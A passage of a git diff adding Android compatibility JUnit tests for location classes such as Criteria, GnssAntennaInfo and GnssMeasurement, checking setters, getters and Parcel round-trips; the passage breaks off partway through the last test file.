diff --git a/tests/location/location_none/src/android/location/cts/none/CriteriaTest.java b/tests/location/location_none/src/android/location/cts/none/CriteriaTest.java
new file mode 100644
index 0000000..5ece9b4
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/CriteriaTest.java
@@ -0,0 +1,247 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.location.Criteria;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CriteriaTest {
+
+    @Test
+    public void testConstructor() {
+        new Criteria();
+
+        Criteria c = new Criteria();
+        c.setAccuracy(Criteria.ACCURACY_FINE);
+        c.setAltitudeRequired(true);
+        c.setBearingRequired(true);
+        c.setCostAllowed(true);
+        c.setPowerRequirement(Criteria.POWER_HIGH);
+        c.setSpeedRequired(true);
+        Criteria criteria = new Criteria(c);
+        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
+        assertTrue(criteria.isAltitudeRequired());
+        assertTrue(criteria.isBearingRequired());
+        assertTrue(criteria.isCostAllowed());
+        assertTrue(criteria.isSpeedRequired());
+        assertEquals(Criteria.POWER_HIGH, criteria.getPowerRequirement());
+
+        try {
+            new Criteria(null);
+            fail("should throw NullPointerException.");
+        } catch (NullPointerException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testDescribeContents() {
+        Criteria criteria = new Criteria();
+        criteria.describeContents();
+    }
+
+    @Test
+    public void testAccessAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setAccuracy(Criteria.ACCURACY_FINE);
+        assertEquals(Criteria.ACCURACY_FINE, criteria.getAccuracy());
+
+        criteria.setAccuracy(Criteria.ACCURACY_COARSE);
+        assertEquals(Criteria.ACCURACY_COARSE, criteria.getAccuracy());
+
+        try {
+            // It should throw IllegalArgumentException
+            criteria.setAccuracy(-1);
+            // issue 1728526
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            // It should throw IllegalArgumentException
+            criteria.setAccuracy(Criteria.ACCURACY_COARSE + 1);
+            // issue 1728526
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testAccessPowerRequirement() {
+        Criteria criteria = new Criteria();
+
+        criteria.setPowerRequirement(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getPowerRequirement());
+
+        criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+        assertEquals(Criteria.POWER_MEDIUM, criteria.getPowerRequirement());
+
+        try {
+            criteria.setPowerRequirement(-1);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+
+        try {
+            criteria.setPowerRequirement(Criteria.POWER_HIGH + 1);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+            // expected.
+        }
+    }
+
+    @Test
+    public void testAccessAltitudeRequired() {
+        Criteria criteria = new Criteria();
+
+        criteria.setAltitudeRequired(false);
+        assertFalse(criteria.isAltitudeRequired());
+
+        criteria.setAltitudeRequired(true);
+        assertTrue(criteria.isAltitudeRequired());
+    }
+
+    @Test
+    public void testAccessBearingAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setBearingAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getBearingAccuracy());
+
+        criteria.setBearingAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getBearingAccuracy());
+
+        criteria.setBearingAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getBearingAccuracy());
+      }
+
+    @Test
+    public void testAccessBearingRequired() {
+        Criteria criteria = new Criteria();
+
+        criteria.setBearingRequired(false);
+        assertFalse(criteria.isBearingRequired());
+
+        criteria.setBearingRequired(true);
+        assertTrue(criteria.isBearingRequired());
+    }
+
+    @Test
+    public void testAccessCostAllowed() {
+        Criteria criteria = new Criteria();
+
+        criteria.setCostAllowed(false);
+        assertFalse(criteria.isCostAllowed());
+
+        criteria.setCostAllowed(true);
+        assertTrue(criteria.isCostAllowed());
+    }
+
+    @Test
+    public void testAccessHorizontalAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setHorizontalAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getHorizontalAccuracy());
+
+        criteria.setHorizontalAccuracy(Criteria.ACCURACY_MEDIUM);
+        assertEquals(Criteria.ACCURACY_MEDIUM, criteria.getHorizontalAccuracy());
+
+        criteria.setHorizontalAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getHorizontalAccuracy());
+
+        criteria.setHorizontalAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getHorizontalAccuracy());
+    }
+
+    @Test
+    public void testAccessSpeedAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setSpeedAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getSpeedAccuracy());
+
+        criteria.setSpeedAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getSpeedAccuracy());
+
+        criteria.setSpeedAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getSpeedAccuracy());
+    }
+
+    @Test
+    public void testAccessSpeedRequired() {
+        Criteria criteria = new Criteria();
+
+        criteria.setSpeedRequired(false);
+        assertFalse(criteria.isSpeedRequired());
+
+        criteria.setSpeedRequired(true);
+        assertTrue(criteria.isSpeedRequired());
+    }
+
+    @Test
+    public void testAccessVerticalAccuracy() {
+        Criteria criteria = new Criteria();
+
+        criteria.setVerticalAccuracy(Criteria.ACCURACY_LOW);
+        assertEquals(Criteria.ACCURACY_LOW, criteria.getVerticalAccuracy());
+
+       criteria.setVerticalAccuracy(Criteria.ACCURACY_HIGH);
+        assertEquals(Criteria.ACCURACY_HIGH, criteria.getVerticalAccuracy());
+
+        criteria.setVerticalAccuracy(Criteria.NO_REQUIREMENT);
+        assertEquals(Criteria.NO_REQUIREMENT, criteria.getVerticalAccuracy());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        Criteria criteria = new Criteria();
+        criteria.setAltitudeRequired(true);
+        criteria.setBearingRequired(false);
+        criteria.setCostAllowed(true);
+        criteria.setSpeedRequired(true);
+
+        Parcel parcel = Parcel.obtain();
+        criteria.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        Criteria newCriteria = Criteria.CREATOR.createFromParcel(parcel);
+
+        assertEquals(criteria.getAccuracy(), newCriteria.getAccuracy());
+        assertEquals(criteria.getPowerRequirement(), newCriteria.getPowerRequirement());
+        assertEquals(criteria.isAltitudeRequired(), newCriteria.isAltitudeRequired());
+        assertEquals(criteria.isBearingRequired(), newCriteria.isBearingRequired());
+        assertEquals(criteria.isSpeedRequired(), newCriteria.isSpeedRequired());
+        assertEquals(criteria.isCostAllowed(), newCriteria.isCostAllowed());
+
+        parcel.recycle();
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssAntennaInfoTest.java b/tests/location/location_none/src/android/location/cts/none/GnssAntennaInfoTest.java
new file mode 100644
index 0000000..584a26e
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssAntennaInfoTest.java
@@ -0,0 +1,241 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.location.GnssAntennaInfo;
+import android.location.GnssAntennaInfo.PhaseCenterOffset;
+import android.location.GnssAntennaInfo.SphericalCorrections;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of GnssAntennaInfo class. This includes writing and reading from
+ * parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssAntennaInfoTest {
+
+    private static final double PRECISION = 0.0001;
+    private static final double[][] PHASE_CENTER_VARIATION_CORRECTIONS = new double[][]{
+        {5.29, 0.20, 7.15, 10.18, 9.47, 8.05},
+        {11.93, 3.98, 2.68, 2.66, 8.15, 13.54},
+        {14.69, 7.63, 13.46, 8.70, 4.36, 1.21},
+        {4.19, 12.43, 12.40, 0.90, 1.96, 1.99},
+        {7.30, 0.49, 7.43, 8.71, 3.70, 7.24},
+        {4.79, 1.88, 13.88, 3.52, 13.40, 11.81}
+    };
+    private static final double[][] PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES = new double[][]{
+            {1.77, 0.81, 0.72, 1.65, 2.35, 1.22},
+            {0.77, 3.43, 2.77, 0.97, 4.55, 1.38},
+            {1.51, 2.50, 2.23, 2.43, 1.94, 0.90},
+            {0.34, 4.72, 4.14, 4.78, 4.57, 1.69},
+            {4.49, 0.05, 2.78, 1.33, 3.20, 2.75},
+            {1.09, 0.31, 3.79, 4.32, 0.65, 1.23}
+    };
+    private static final double[][] SIGNAL_GAIN_CORRECTIONS = new double[][]{
+            {0.19, 7.04, 1.65, 14.84, 2.95, 9.21},
+            {0.45, 6.27, 14.57, 8.95, 3.92, 12.68},
+            {6.80, 13.04, 7.92, 2.23, 14.22, 7.36},
+            {4.81, 11.78, 5.04, 5.13, 12.09, 12.85},
+            {0.88, 4.04, 5.71, 3.72, 12.62, 0.40},
+            {14.26, 9.50, 4.21, 11.14, 6.54, 14.63}
+    };
+    private static final double[][] SIGNAL_GAIN_CORRECTION_UNCERTAINTIES = new double[][]{
+            {4.74, 1.54, 1.59, 4.05, 1.65, 2.46},
+            {0.10, 0.33, 0.84, 0.83, 0.57, 2.66},
+            {2.08, 1.46, 2.10, 3.25, 1.48, 0.65},
+            {4.02, 2.90, 2.51, 2.13, 1.67, 1.23},
+            {2.13, 4.30, 1.36, 3.86, 1.02, 2.96},
+            {3.22, 3.95, 3.75, 1.73, 1.91, 4.93}
+
+    };
+
+    @Test
+    public void testFullAntennaInfoDescribeContents() {
+        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
+        assertEquals(0, gnssAntennaInfo.describeContents());
+    }
+
+    @Test
+    public void testPartialAntennaInfoDescribeContents() {
+        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
+        assertEquals(0, gnssAntennaInfo.describeContents());
+    }
+
+    @Test
+    public void testFullAntennaInfoWriteToParcel() {
+        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
+        Parcel parcel = Parcel.obtain();
+        gnssAntennaInfo.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssAntennaInfo newGnssAntennaInfo = GnssAntennaInfo.CREATOR.createFromParcel(parcel);
+        verifyFullGnssAntennaInfoValuesAndGetters(newGnssAntennaInfo);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testPartialAntennaInfoWriteToParcel() {
+        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
+        Parcel parcel = Parcel.obtain();
+        gnssAntennaInfo.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssAntennaInfo newGnssAntennaInfo = GnssAntennaInfo.CREATOR.createFromParcel(parcel);
+        verifyPartialGnssAntennaInfoValuesAndGetters(newGnssAntennaInfo);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testCreateFullGnssAntennaInfoAndGetValues() {
+        GnssAntennaInfo gnssAntennaInfo = createFullTestGnssAntennaInfo();
+        verifyFullGnssAntennaInfoValuesAndGetters(gnssAntennaInfo);
+    }
+
+    @Test
+    public void testCreatePartialGnssAntennaInfoAndGetValues() {
+        GnssAntennaInfo gnssAntennaInfo = createPartialTestGnssAntennaInfo();
+        verifyPartialGnssAntennaInfoValuesAndGetters(gnssAntennaInfo);
+    }
+
+    private static GnssAntennaInfo createFullTestGnssAntennaInfo() {
+        double carrierFrequencyMHz = 13758.0;
+
+        GnssAntennaInfo.PhaseCenterOffset phaseCenterOffset = new
+                GnssAntennaInfo.PhaseCenterOffset(
+                        4.3d,
+                    1.4d,
+                    2.10d,
+                    2.1d,
+                    3.12d,
+                    0.5d);
+
+        double[][] phaseCenterVariationCorrectionsMillimeters = PHASE_CENTER_VARIATION_CORRECTIONS;
+        double[][] phaseCenterVariationCorrectionsUncertaintyMillimeters =
+                PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES;
+        SphericalCorrections
+                phaseCenterVariationCorrections =
+                new SphericalCorrections(
+                        phaseCenterVariationCorrectionsMillimeters,
+                        phaseCenterVariationCorrectionsUncertaintyMillimeters);
+
+        double[][] signalGainCorrectionsDbi = SIGNAL_GAIN_CORRECTIONS;
+        double[][] signalGainCorrectionsUncertaintyDbi = SIGNAL_GAIN_CORRECTION_UNCERTAINTIES;
+        SphericalCorrections signalGainCorrections = new
+                SphericalCorrections(
+                signalGainCorrectionsDbi,
+                signalGainCorrectionsUncertaintyDbi);
+
+        return new GnssAntennaInfo.Builder()
+                .setCarrierFrequencyMHz(carrierFrequencyMHz)
+                .setPhaseCenterOffset(phaseCenterOffset)
+                .setPhaseCenterVariationCorrections(phaseCenterVariationCorrections)
+                .setSignalGainCorrections(signalGainCorrections)
+                .build();
+    }
+
+    private static GnssAntennaInfo createPartialTestGnssAntennaInfo() {
+        double carrierFrequencyMHz = 13758.0;
+
+        GnssAntennaInfo.PhaseCenterOffset phaseCenterOffset = new
+                GnssAntennaInfo.PhaseCenterOffset(
+                4.3d,
+                1.4d,
+                2.10d,
+                2.1d,
+                3.12d,
+                0.5d);
+
+        return new GnssAntennaInfo.Builder()
+                .setCarrierFrequencyMHz(carrierFrequencyMHz)
+                .setPhaseCenterOffset(phaseCenterOffset)
+                .build();
+    }
+
+    private static void verifyPartialGnssAntennaInfoValuesAndGetters(GnssAntennaInfo gnssAntennaInfo) {
+        assertEquals(13758.0d, gnssAntennaInfo.getCarrierFrequencyMHz(), PRECISION);
+
+        // Phase Center Offset Tests --------------------------------------------------------
+        PhaseCenterOffset phaseCenterOffset =
+                gnssAntennaInfo.getPhaseCenterOffset();
+        assertEquals(4.3d, phaseCenterOffset.getXOffsetMm(),
+                PRECISION);
+        assertEquals(1.4d, phaseCenterOffset.getXOffsetUncertaintyMm(),
+                PRECISION);
+        assertEquals(2.10d, phaseCenterOffset.getYOffsetMm(),
+                PRECISION);
+        assertEquals(2.1d, phaseCenterOffset.getYOffsetUncertaintyMm(),
+                PRECISION);
+        assertEquals(3.12d, phaseCenterOffset.getZOffsetMm(),
+                PRECISION);
+        assertEquals(0.5d, phaseCenterOffset.getZOffsetUncertaintyMm(),
+                PRECISION);
+
+        // Phase Center Variation Corrections Tests -----------------------------------------
+        assertNull(gnssAntennaInfo.getPhaseCenterVariationCorrections());
+
+        // Signal Gain Corrections Tests -----------------------------------------------------
+        assertNull(gnssAntennaInfo.getSignalGainCorrections());
+    }
+
+    private static void verifyFullGnssAntennaInfoValuesAndGetters(GnssAntennaInfo gnssAntennaInfo) {
+        assertEquals(13758.0d, gnssAntennaInfo.getCarrierFrequencyMHz(), PRECISION);
+
+        // Phase Center Offset Tests --------------------------------------------------------
+        PhaseCenterOffset phaseCenterOffset =
+                gnssAntennaInfo.getPhaseCenterOffset();
+        assertEquals(4.3d, phaseCenterOffset.getXOffsetMm(),
+                PRECISION);
+        assertEquals(1.4d, phaseCenterOffset.getXOffsetUncertaintyMm(),
+                PRECISION);
+        assertEquals(2.10d, phaseCenterOffset.getYOffsetMm(),
+                PRECISION);
+        assertEquals(2.1d, phaseCenterOffset.getYOffsetUncertaintyMm(),
+                PRECISION);
+        assertEquals(3.12d, phaseCenterOffset.getZOffsetMm(),
+                PRECISION);
+        assertEquals(0.5d, phaseCenterOffset.getZOffsetUncertaintyMm(),
+                PRECISION);
+
+        // Phase Center Variation Corrections Tests -----------------------------------------
+        SphericalCorrections phaseCenterVariationCorrections =
+                gnssAntennaInfo.getPhaseCenterVariationCorrections();
+
+        assertEquals(60.0d, phaseCenterVariationCorrections.getDeltaTheta(), PRECISION);
+        assertEquals(36.0d, phaseCenterVariationCorrections.getDeltaPhi(), PRECISION);
+        assertArrayEquals(PHASE_CENTER_VARIATION_CORRECTIONS, phaseCenterVariationCorrections
+                .getCorrectionsArray());
+        assertArrayEquals(PHASE_CENTER_VARIATION_CORRECTION_UNCERTAINTIES,
+                phaseCenterVariationCorrections.getCorrectionUncertaintiesArray());
+
+        // Signal Gain Corrections Tests -----------------------------------------------------
+        SphericalCorrections signalGainCorrections = gnssAntennaInfo.getSignalGainCorrections();
+
+        assertEquals(60.0d, signalGainCorrections.getDeltaTheta(), PRECISION);
+        assertEquals(36.0d, signalGainCorrections.getDeltaPhi(), PRECISION);
+        assertArrayEquals(SIGNAL_GAIN_CORRECTIONS, signalGainCorrections
+                .getCorrectionsArray());
+        assertArrayEquals(SIGNAL_GAIN_CORRECTION_UNCERTAINTIES,
+                signalGainCorrections.getCorrectionUncertaintiesArray());
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java
new file mode 100644
index 0000000..feb44d8
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java
@@ -0,0 +1,63 @@
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.location.GnssMeasurementRequest;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of {@link GnssMeasurementRequest} class. This includes writing
+ * and reading from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementRequestTest {
+
+    private GnssMeasurementRequest getTestGnssMeasurementRequest(boolean fullTracking) {
+        GnssMeasurementRequest.Builder builder = new GnssMeasurementRequest.Builder();
+        builder.setFullTracking(fullTracking);
+        return builder.build();
+    }
+
+    @Test
+    public void testGetValues() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        assertTrue(request1.isFullTracking());
+        GnssMeasurementRequest request2 = getTestGnssMeasurementRequest(false);
+        assertFalse(request2.isFullTracking());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+        assertEquals(request.describeContents(), 0);
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+
+        Parcel parcel = Parcel.obtain();
+        request.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurementRequest fromParcel = GnssMeasurementRequest.CREATOR.createFromParcel(parcel);
+
+        assertEquals(request, fromParcel);
+    }
+
+    @Test
+    public void testEquals() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        GnssMeasurementRequest request2 = new GnssMeasurementRequest.Builder(request1).build();
+        GnssMeasurementRequest request3 = getTestGnssMeasurementRequest(false);
+        assertEquals(request1, request2);
+        assertNotEquals(request3, request2);
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssMeasurementTest.java b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementTest.java
new file mode 100644
index 0000000..e90e697
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementTest.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.location.GnssMeasurement;
+import android.location.GnssStatus;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementTest {
+
+    private static final double DELTA = 0.001;
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        assertEquals(0, measurement.describeContents());
+    }
+
+    @Test
+    public void testReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        measurement.reset();
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        Parcel parcel = Parcel.obtain();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
+        verifyTestValues(newMeasurement);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testSet() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        GnssMeasurement newMeasurement = new GnssMeasurement();
+        newMeasurement.set(measurement);
+        verifyTestValues(newMeasurement);
+    }
+
+    @Test
+    public void testSetReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+
+        assertTrue(measurement.hasCarrierCycles());
+        measurement.resetCarrierCycles();
+        assertFalse(measurement.hasCarrierCycles());
+
+        assertTrue(measurement.hasCarrierFrequencyHz());
+        measurement.resetCarrierFrequencyHz();
+        assertFalse(measurement.hasCarrierFrequencyHz());
+
+        assertTrue(measurement.hasCarrierPhase());
+        measurement.resetCarrierPhase();
+        assertFalse(measurement.hasCarrierPhase());
+
+        assertTrue(measurement.hasCarrierPhaseUncertainty());
+        measurement.resetCarrierPhaseUncertainty();
+        assertFalse(measurement.hasCarrierPhaseUncertainty());
+
+        assertTrue(measurement.hasSnrInDb());
+        measurement.resetSnrInDb();
+        assertFalse(measurement.hasSnrInDb());
+
+        assertTrue(measurement.hasCodeType());
+        measurement.resetCodeType();
+        assertFalse(measurement.hasCodeType());
+
+        assertTrue(measurement.hasBasebandCn0DbHz());
+        measurement.resetBasebandCn0DbHz();
+        assertFalse(measurement.hasBasebandCn0DbHz());
+
+        assertTrue(measurement.hasFullInterSignalBiasNanos());
+        measurement.resetFullInterSignalBiasNanos();
+        assertFalse(measurement.hasFullInterSignalBiasNanos());
+
+        assertTrue(measurement.hasFullInterSignalBiasUncertaintyNanos());
+        measurement.resetFullInterSignalBiasUncertaintyNanos();
+        assertFalse(measurement.hasFullInterSignalBiasUncertaintyNanos());
+
+        assertTrue(measurement.hasSatelliteInterSignalBiasNanos());
+        measurement.resetSatelliteInterSignalBiasNanos();
+        assertFalse(measurement.hasSatelliteInterSignalBiasNanos());
+
+        assertTrue(measurement.hasSatelliteInterSignalBiasUncertaintyNanos());
+        measurement.resetSatelliteInterSignalBiasUncertaintyNanos();
+        assertFalse(measurement.hasSatelliteInterSignalBiasUncertaintyNanos());
+    }
+
+    private static void setTestValues(GnssMeasurement measurement) {
+        measurement.setAccumulatedDeltaRangeMeters(1.0);
+        measurement.setAccumulatedDeltaRangeState(2);
+        measurement.setAccumulatedDeltaRangeUncertaintyMeters(3.0);
+        measurement.setBasebandCn0DbHz(3.0);
+        measurement.setCarrierCycles(4);
+        measurement.setCarrierFrequencyHz(5.0f);
+        measurement.setCarrierPhase(6.0);
+        measurement.setCarrierPhaseUncertainty(7.0);
+        measurement.setCn0DbHz(8.0);
+        measurement.setCodeType("C");
+        measurement.setConstellationType(GnssStatus.CONSTELLATION_GALILEO);
+        measurement.setMultipathIndicator(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED);
+        measurement.setPseudorangeRateMetersPerSecond(9.0);
+        measurement.setPseudorangeRateUncertaintyMetersPerSecond(10.0);
+        measurement.setReceivedSvTimeNanos(11);
+        measurement.setReceivedSvTimeUncertaintyNanos(12);
+        measurement.setFullInterSignalBiasNanos(1.3);
+        measurement.setFullInterSignalBiasUncertaintyNanos(2.5);
+        measurement.setSatelliteInterSignalBiasNanos(5.4);
+        measurement.setSatelliteInterSignalBiasUncertaintyNanos(10.0);
+        measurement.setSnrInDb(13.0);
+        measurement.setState(14);
+        measurement.setSvid(15);
+        measurement.setTimeOffsetNanos(16.0);
+    }
+
+    private static void verifyTestValues(GnssMeasurement measurement) {
+        assertEquals(1.0, measurement.getAccumulatedDeltaRangeMeters(), DELTA);
+        assertEquals(2, measurement.getAccumulatedDeltaRangeState());
+        assertEquals(3.0, measurement.getAccumulatedDeltaRangeUncertaintyMeters(), DELTA);
+        assertEquals(3.0, measurement.getBasebandCn0DbHz(), DELTA);
+        assertEquals(4, measurement.getCarrierCycles());
+        assertEquals(5.0f, measurement.getCarrierFrequencyHz(), DELTA);
+        assertEquals(6.0, measurement.getCarrierPhase(), DELTA);
+        assertEquals(7.0, measurement.getCarrierPhaseUncertainty(), DELTA);
+        assertEquals(8.0, measurement.getCn0DbHz(), DELTA);
+        assertEquals(GnssStatus.CONSTELLATION_GALILEO, measurement.getConstellationType());
+        assertEquals(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED,
+                measurement.getMultipathIndicator());
+        assertEquals("C", measurement.getCodeType());
+        assertEquals(9.0, measurement.getPseudorangeRateMetersPerSecond(), DELTA);
+        assertEquals(10.0, measurement.getPseudorangeRateUncertaintyMetersPerSecond(), DELTA);
+        assertEquals(11, measurement.getReceivedSvTimeNanos());
+        assertEquals(12, measurement.getReceivedSvTimeUncertaintyNanos());
+        assertEquals(1.3, measurement.getFullInterSignalBiasNanos(), DELTA);
+        assertEquals(2.5, measurement.getFullInterSignalBiasUncertaintyNanos(), DELTA);
+        assertEquals(5.4, measurement.getSatelliteInterSignalBiasNanos(), DELTA);
+        assertEquals(10.0, measurement.getSatelliteInterSignalBiasUncertaintyNanos(), DELTA);
+        assertEquals(13.0, measurement.getSnrInDb(), DELTA);
+        assertEquals(14, measurement.getState());
+        assertEquals(15, measurement.getSvid());
+        assertEquals(16.0, measurement.getTimeOffsetNanos(), DELTA);
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssMeasurementsEventTest.java b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementsEventTest.java
new file mode 100644
index 0000000..dc1c56f
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementsEventTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+
+import android.location.GnssClock;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collection;
+import java.util.Iterator;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementsEventTest {
+
+    @Test
+    public void testDescribeContents() {
+        GnssClock clock = new GnssClock();
+        GnssMeasurement m1 = new GnssMeasurement();
+        GnssMeasurement m2 = new GnssMeasurement();
+        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
+                clock, new GnssMeasurement[] {m1, m2});
+        assertEquals(0, event.describeContents());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssClock clock = new GnssClock();
+        clock.setLeapSecond(100);
+        GnssMeasurement m1 = new GnssMeasurement();
+        m1.setConstellationType(GnssStatus.CONSTELLATION_GLONASS);
+        GnssMeasurement m2 = new GnssMeasurement();
+        m2.setReceivedSvTimeNanos(43999);
+        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
+                clock, new GnssMeasurement[] {m1, m2});
